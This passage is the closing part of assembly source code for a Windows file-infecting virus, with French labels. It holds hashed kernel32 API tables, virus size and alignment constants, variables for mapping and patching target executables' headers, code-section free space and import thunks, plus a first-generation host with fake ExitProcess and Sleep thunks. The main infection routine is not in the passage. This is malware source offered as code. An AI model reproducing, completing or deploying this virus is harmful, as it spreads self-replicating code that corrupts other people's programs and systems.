dd 040bf2f84h		;GetProcAddress
dd 032beddc3h		;MapViewOfFile
dd 08e0e5487h		;SetCurrentDirectoryA
dd 0bc738ae6h		;SetEndOfFile
dd 050665047h		;SetFileAttributesA
dd 06d452a3ah		;SetFilePointer
dd 09f69de76h		;SetFileTime
dd 03a00e23bh		;Sleep
dd 0fae00d65h		;UnmapViewOfFile
dd 0065f101ah		;VirtualProtect
dd 04e5de044h		;ExitThread

NBRE_FCT_K32_VIRUS=($-tab_condense)/4
TAILLE_VIRUS=$-debut_virus

TAILLE_VIRUS_ALIGNE_FICHIER=ALIGNEMENT_FICHIER_STANDARD*((TAILLE_VIRUS+\
ALIGNEMENT_FICHIER_STANDARD-1)/ALIGNEMENT_FICHIER_STANDARD)

TAILLE_VIRUS_ALIGNE_MEMOIRE=ALIGNEMENT_MEMOIRE_STANDARD*((TAILLE_VIRUS+\
ALIGNEMENT_MEMOIRE_STANDARD-1)/ALIGNEMENT_MEMOIRE_STANDARD)


;[Fin du virus]

tab_adr_fct_k32_virus:
CloseHandle								dd 0
CreateFileA								dd 0
CreateFileMappingA							dd 0
CreateMutexA								dd 0
CreateThread								dd 0
FindClose								dd 0
FindFirstFileA								dd 0
FindNextFileA								dd 0
GetDriveTypeA								dd 0
GetLastError								dd 0
GetProcAddress								dd 0
MapViewOfFile								dd 0
SetCurrentDirectoryA							dd 0
SetEndOfFile								dd 0
SetFileAttributesA							dd 0
SetFilePointer								dd 0
SetFileTime								dd 0
Sleep									dd 0
UnmapViewOfFile								dd 0
VirtualProtect								dd 0
ExitThread								dd 0


condense								dd ?
adr_map_IMAGE_OPTIONAL_HEADER_cible					dd ?
adr_map_IMAGE_SECTION_HEADER_cible					dd ?
adr_map_IMAGE_FILE_HEADER_cible						dd ?
adr_map_IMAGE_IMPORT_DESCRIPTOR_cible					dd ?
rva_IMAGE_IMPORT_DESCRIPTOR_cible					dd ?
rva_IMAGE_IMPORT_BY_NAME_cible						dd ?
adr_map_cible								dd ?
thread_id								dd ?
tampon									dd ?
handle_fichier_cible							dd ?
handle_map_cible							dd ?
handle_mutex								dd ?
nbre_octet_libre_sect_code_cible					dd ?
adr_map_espace_libre_sect_data_cible					dd ?
adr_map_espace_libre_sect_code_cible					dd ?
adr_map_1st_thunk_k32_cible						dd ?
adr_map_original_1st_thunk_k32_cible					dd ?
adr_map_loader_sect_code_cible						dd ?

struct_recherche	rb sizeof.WIN32_FIND_DATA
tampon_registre		rd 8

tab_adr_fct_k32_hote:
rd 2		;pour la generation 0









section 'idata' import data readable writeable

;IMAGE_IMPORT_DESCRIPTOR:
dd RVA ID_OriginalFirstThunk_k32,0,0,RVA ID_Name_k32,RVA ID_FirstThunk_k32
dd RVA ID_OriginalFirstThunk_u32,0,0,RVA ID_Name_u32,RVA ID_FirstThunk_u32
dd 0,0,0,0,0

ID_Name_k32	db 'KERNEL32.DLL',0
ID_Name_u32	db 'USER32.DLL',0

ID_OriginalFirstThunk_k32	dd RVA image_import_by_name_k32_00
				dd 0

ID_FirstThunk_k32:
ExitProcess			dd RVA image_import_by_name_k32_00
				dd 0


ID_OriginalFirstThunk_u32	dd RVA image_import_by_name_u32
				dd 0
ID_FirstThunk_u32:
MessageBoxA			dd RVA image_import_by_name_u32
				dd 0

;IMAGE_IMPORT_BY_NAME:
image_import_by_name_k32_00	dw 0
				db 'ExitProcess',0

image_import_by_name_k32_01	dw 0
				db 'Sleep',0


image_import_by_name_u32	dw 0
				db 'MessageBoxA',0





vrai_ID_OriginalFirstThunk_k32:
				dd RVA image_import_by_name_k32_00
				dd RVA image_import_by_name_k32_01
				dd 0
vrai_ID_FirstThunk_k32:
faux_ExitProcess		dd __ExitProcess
faux_Sleep			dd __Sleep
				dd 0